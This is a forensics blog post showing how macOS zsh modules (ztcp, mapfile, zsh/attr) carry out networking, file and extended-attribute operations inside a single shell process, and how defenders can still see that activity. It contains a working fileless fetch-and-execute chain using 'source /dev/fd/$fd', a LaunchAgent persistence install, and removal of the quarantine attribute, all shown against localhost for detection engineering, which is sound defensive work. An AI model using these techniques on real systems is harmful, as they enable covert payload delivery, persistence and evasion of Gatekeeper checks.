Living Inside the Shell: zsh Modules on macOS
IntroductionWhen investigating shell-based activity on macOS, it is tempting to fo 2026-9-16 19:16:30 Author: dfir.ch(查看原文) 阅读量:9 收藏

Introduction

When investigating shell-based activity on macOS, it is tempting to focus on the usual suspects: curl, osascript, python, xattr, and similar utilities. But zsh itself provides considerably more functionality than simply executing commands. macOS uses zsh as the default interactive shell, and zsh ships with a module system that can extend the shell with networking, file manipulation, extended-attribute access, and other functionality.

Functionality commonly associated with separate utilities can instead be performed by builtins inside the already-running zsh process. As a result, there may be no corresponding curl, rm, or xattr process for an analyst to find. Detection gaps can arise when detection logic relies primarily on process execution and command-line telemetry.

The underlying network, filesystem, or extended-attribute activity still occurs, but attributing that behavior solely through child-process execution becomes much harder.

zsh Modules

Modules can be loaded at runtime using zmodload:

Depending on the zsh build and platform, available modules can provide functionality such as:

zsh/net/tcp       TCP socket operations
zsh/net/socket    Unix domain sockets
zsh/system        Low-level system functionality
zsh/files         Built-in file operations
zsh/zutil         Utility functions
zsh/sched         Scheduled commands inside zsh
zsh/stat          File metadata through a builtin
zsh/mapfile       Map files into an associative array
zsh/attr          Extended-attribute operations

The distinction between an external command and a shell builtin is important when investigating a compromised macOS client or performing threat hunting. When zsh invokes an external utility such as curl, macOS has to execute another program. This creates process-execution telemetry containing information such as the executable path, arguments, parent process, and code-signing metadata.

Module-provided functionality behaves differently. After loading zsh/net/tcp, for example: whence -v ztcp identifies ztcp as a shell builtin. There is no separate ztcp executable that needs to be launched. The operation is therefore attributed to the existing /bin/zsh process rather than to a newly created child process. This distinction becomes important when detections rely primarily on executable names, command-line arguments, or parent-child relationships.

Raw TCP Without curl, wget, or nc

One particularly interesting module is:

It exposes the ztcp builtin, which allows the shell itself to establish TCP connections. This becomes particularly interesting in macOS initial-access chains where /bin/zsh is already used as the execution engine. ClickFix-style execution chains are one example where shell execution plays an important role, as demonstrated in my talk “Deconstructing Modern macOS Initial Access Vectors” (slides on my GitHub repo).

With zsh/net/tcp, the shell does not necessarily need to launch another networking utility. It can establish the TCP connection itself.

Example

In the first terminal, create a harmless payload:

mkdir -p /tmp/zsh-modules
cd /tmp/zsh-modules

cat > payload.zsh <<'EOF'
print "[+] IT'S ALIVE!"
print "[+] PID: $$"
print "[+] User: $USER"
EOF

python3 -m http.server 8080

In another terminal, connect directly to the HTTP server:

zmodload zsh/net/tcp

ztcp 127.0.0.1 8080
fd=$REPLY

print -rn -u $fd -- \
  $'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'

while IFS= read -r -u $fd line; do
    [[ "$line" == $'\r' || -z "$line" ]] && break
done

source /dev/fd/$fd

ztcp -c $fd

ztcp establishes the TCP connection and exposes the resulting file descriptor through the shell parameter $REPLY. We save that descriptor in $fd. The important point is that zsh now owns an open socket. There is no curl, wget, or nc process involved. We then write a minimal HTTP request directly to that descriptor:

GET /payload.zsh HTTP/1.0
Host: 127.0.0.1
Connection: close

At this point zsh is effectively speaking HTTP itself. ztcp is not an HTTP client; it merely provides the TCP stream. Constructing and parsing the application protocol is our responsibility. The most interesting part of the example is arguably the following line:

After the loop has consumed the HTTP response headers, the remaining bytes arriving through the socket represent the response body. /dev/fd/<n> provides a pathname through which an already-open file descriptor can be accessed. Because the connected socket is represented by such a descriptor, source /dev/fd/$fd causes zsh to read the remaining bytes from that descriptor and interpret them as shell input.

This means that the example does not require a conventional payload file to be written to disk. The script content can be received through the socket and interpreted directly by the existing shell. That distinction matters during forensic analysis. Searching the filesystem for a downloaded payload.zsh may produce nothing even though shell code was retrieved and executed.

There is, however, an important difference.

A conventional curl ... | zsh chain creates additional process-execution telemetry: curl must execute to retrieve the content and another shell is normally started to interpret the pipe. With ztcp and source, both retrieval and interpretation can occur inside the already-running zsh process. The network connection still exists, but the expected curl process, its command line, and the additional shell process do not.

One Important Limitation: TLS

There is an important practical limitation. zsh/net/tcp provides a raw TCP connection. It is not an HTTP client and does not provide TLS itself. That makes manually speaking HTTP relatively straightforward. That significantly limits the practicality of ztcp as a drop-in replacement for curl, but it does not make the primitive irrelevant. Consequently, establishing a TCP connection to port 443 with ztcp does not establish a usable HTTPS session; the TLS handshake and subsequent encryption would still need to be implemented separately.

A More Realistic Example

Let’s make the example slightly more realistic. We will retrieve a second-stage script through zsh/net/tcp and execute it directly from the socket. The script creates a harmless LaunchAgent that opens Calculator.app. The goal is not persistence itself, but to demonstrate how a more complete second stage can be delivered without curl, wget, or nc, and without first writing the downloaded script to disk.

Server-side payload - payload.zsh

#!/bin/zsh

print "[+] Second stage executing"
print "[+] Running inside zsh PID: $$"

PLIST="$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"

mkdir -p "$HOME/Library/LaunchAgents"

PLIST_B64='BASE64_GOES_HERE'

print -rn -- "$PLIST_B64" |
    /usr/bin/base64 -D > "$PLIST"

/bin/launchctl bootout \
    "gui/$(id -u)" \
    "$PLIST" 2>/dev/null

/bin/launchctl bootstrap \
    "gui/$(id -u)" \
    "$PLIST"

print "[+] LaunchAgent bootstrapped"

For the lab, the LaunchAgent simply opens Calculator.app to provide a harmless and immediately visible indication that the second stage executed successfully:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>ch.dfir.zshdemo</string>

    <key>ProgramArguments</key>
    <array>
        <string>/usr/bin/open</string>
        <string>-a</string>
        <string>Calculator</string>
    </array>

    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Generate the Base64 and replace the placeholder value in the payload.zsh file.

base64 -i demo.plist | tr -d '\n'

And fetch our payload:

% zmodload zsh/net/tcp

ztcp 127.0.0.1 8080
fd=$REPLY

print -rn -u $fd -- \
  $'GET /payload.zsh HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n'

while IFS= read -r -u $fd line; do
    [[ "$line" == $'\r' || -z "$line" ]] && break
done

source /dev/fd/$fd

ztcp -c $fd
[+] Second stage executing
[+] Running inside zsh PID: 89950
[+] LaunchAgent bootstrapped

Notice what happened here: payload.zsh was never written to the client filesystem. After the HTTP headers were consumed, source /dev/fd/$fd caused the already-running zsh process to interpret the response body directly from the socket. The second stage therefore begins executing in the same zsh process that established the connection. From there, it decodes the embedded plist, writes the LaunchAgent, and bootstraps it with launchctl.

This does not make the complete chain processless. Utilities such as base64 and launchctl, as well as the application eventually started by launchd, still produce their own telemetry. What disappears is the conventional downloader process and the downloaded second-stage script on disk.

Cleanup

After the experiment, unload and remove the test LaunchAgent:

launchctl bootout \
    "gui/$(id -u)" \
    "$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"

rm -f "$HOME/Library/LaunchAgents/ch.dfir.zshdemo.plist"

In the Wild

We have not come across documented in-the-wild abuse of the other zsh module techniques explored in this post. However, abuse of zsh/net/tcp itself is not merely theoretical. In 2020, ESET documented macOS malware using the module to establish a reverse shell. The same zsh/net/tcp reverse-shell primitive is also documented by GTFOBins, and Elastic provides a detection rule covering this behavior.

zsh/mapfile: Files as an Associative Array

Networking is not the only interesting capability. Load the mapfile module:

Now create a file:

mapfile[/tmp/dfir.txt]="Hello from zsh"

Read it back:

print -r -- "$mapfile[/tmp/dfir.txt]"

Even more unusual, removing the array element removes the corresponding file:

unset 'mapfile[/tmp/dfir.txt]'

From a forensic perspective, the interesting part is again the absence of an additional process. Writing, reading, and removing the file can all be performed from the existing zsh process. There is no requirement for /bin/cat or /bin/rm to execute.

The filesystem activity itself does not disappear: files are still created, read, modified, or deleted. What changes is the process responsible for those operations. Telemetry may attribute them directly to /bin/zsh rather than to the utilities an analyst might normally expect.

zsh/attr: Extended Attributes Without /usr/bin/xattr

Another interesting upstream module is:

When available, it provides builtins including:

zgetattr
zsetattr
zdelattr
zlistattr

These expose extended-attribute operations directly from zsh. For example:

touch /tmp/zsh-xattr-test
zsetattr /tmp/zsh-xattr-test ch.dfir.xattr "DFIR rocks!"
zlistattr /tmp/zsh-xattr-test

The attribute can subsequently be removed with:

zdelattr /tmp/zsh-xattr-test ch.dfir.xattr

On macOS, this is particularly interesting because extended attributes can contain security-relevant metadata. The obvious example is:

From a detection perspective, this exposes the same problem we saw earlier. A detection rule that specifically looks for:

is detecting an implementation rather than the underlying behavior. If extended attributes can be manipulated through an in-process shell builtin, /usr/bin/xattr never needs to execute.

Detection Engineering

So far we have established that zdelattr can manipulate extended attributes without executing /usr/bin/xattr. But does avoiding the external utility also hide the underlying operation from defensive telemetry? Apple’s Endpoint Security framework exposes events for extended-attribute operations, including:

ES_EVENT_TYPE_NOTIFY_SETEXTATTR
ES_EVENT_TYPE_NOTIFY_DELETEEXTATTR

We started eslogger and subscribed to extended-attribute and process-execution events:

sudo eslogger exec setextattr deleteextattr > /tmp/zsh-es.json

We then created and removed an extended attribute entirely through the zsh/attr module:

zmodload zsh/attr

zsetattr /tmp/zsh-xattr-test com.apple.quarantine "DFIR rocks!"
zdelattr /tmp/zsh-xattr-test com.apple.quarantine

No /usr/bin/xattr process was required. However, the underlying operation remained visible to Endpoint Security. For this telemetry experiment, the contents of the attribute are irrelevant; we only need an extended attribute named com.apple.quarantine to exist before deleting it.

{
  "event": {
    "deleteextattr": {
      "target": {
        "path": "/private/tmp/zsh-xattr-test"
      },
      "extattr": "com.apple.quarantine"
    }
  },
  "process": {
    "signing_id": "com.apple.zsh",
    "executable": {
      "path": "/bin/zsh"
    },
    "is_platform_binary": true
  }
}

The event gives us exactly the information required for the investigation:

  • the operation was an extended-attribute deletion;
  • the affected file was /private/tmp/zsh-xattr-test;
  • the deleted attribute was com.apple.quarantine;
  • and the process responsible for the operation was /bin/zsh.

This demonstrates an important distinction: zsh/attr can bypass a detection that relies on the execution of /usr/bin/xattr, but it does not bypass telemetry observing the underlying extended-attribute operation. A process-centric rule might look for:

process == "/usr/bin/xattr"
AND
arguments contain "com.apple.quarantine"

The experiment above demonstrates why that is insufficient. A more robust detection starts with the underlying operation:

event == DELETEEXTATTR
AND
extattr == "com.apple.quarantine"

and then examines the process responsible for it. In our experiment, that process is /bin/zsh. This makes the detection independent of the specific implementation used to remove the attribute. Whether the operation originates from /usr/bin/xattr, a shell builtin, or custom code, the security-relevant behavior remains the deletion of com.apple.quarantine.

The DFIR Lesson

The examples above are only a subset of the functionality exposed through zsh modules. A single zsh process can potentially perform operations that analysts might otherwise associate with several different utilities:

Network connection     -> zsh/net/tcp
File manipulation      -> zsh/files / zsh/mapfile
File metadata          -> zsh/stat
Extended attributes    -> zsh/attr
I/O multiplexing       -> zsh/zselect
Scheduling             -> zsh/sched

Functionality that analysts commonly associate with separate executables can instead be performed by the existing /bin/zsh process. Hunting solely for executable names or command-line patterns therefore risks detecting the implementation rather than the behavior.

This does not mean process telemetry becomes useless. Quite the opposite: /bin/zsh becomes the process worth investigating. But reconstructing its behavior may require correlating process execution with filesystem, extended-attribute, and network telemetry rather than relying solely on child processes.

As we’ve seen in the extended-attribute experiment, avoiding an external utility does not necessarily make the underlying operation invisible. eslogger, which consumes events from Apple’s Endpoint Security framework, still attributed the DELETEEXTATTR operation directly to /bin/zsh.

The same principle can be applied to the other examples in this post: instead of relying solely on process creation, defenders should look for telemetry describing the underlying behavior. The exact visibility depends on the telemetry source and the events being collected, but moving the detection below the command-execution layer makes it significantly less dependent on the attacker’s choice of utility.


If you’d like to learn more about these kinds of shenanigans and how to spot them: I teach an anti-forensics course for incident responders, as well as a macOS forensics course.


文章来源: https://dfir.ch/posts/zsh_modules/
如有侵权请联系:admin#unsafe.sh